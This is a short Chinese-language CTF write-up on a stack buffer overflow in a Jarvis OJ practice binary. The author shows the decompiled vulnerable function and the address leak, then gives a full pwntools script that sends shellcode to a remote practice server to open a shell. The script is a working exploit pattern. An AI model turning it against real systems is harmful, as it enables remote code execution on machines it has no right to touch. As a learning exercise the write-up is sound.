先看一下有什么保护
什么保护都没开起来。
放进IDA里看一下
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
main函数里就三行,进入vulnerable_function()函数看一下
char buf; // [esp+0h] [ebp-88h]
printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
buf只有0x88的栈空间,read却可以读入0x100,确认是栈溢出了
然后翻了下IDA里的列表,没发现system(),那应该是使用shellcode了
但是不知道栈空间的位置,看了别人的题解才知道%p会打印出&buf的16进制地址,那样recvline()[14:-2]就能读取到16进制的地址了
最后代码参考了https://www.cnblogs.com/WangAoBo/p/7594173.html
#!/usr/bin/env python
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode = asm(shellcraft.sh())
s = remote('pwn2.jarvisoj.com', 9877)
text = s.recvline()[14: -2]
buf_addr = int(text,16)
payload = '\x61'+'\x90' * (0x88+0x4 - len(shellcode)-1)+shellcode+ p32(buf_addr)
s.send(payload)
s.interactive()
最后有一点让我百思不得其解的是为什么payload的第一个参数只能是\x61,我试了20个数字都会报错,还有为什么我把\x90替换成\x61会有时不报错,有时报错,对系统如何在栈内读取数据还是不够了解,在我的理解里系统只有遇到\x90也就是‘nop’才会跳过。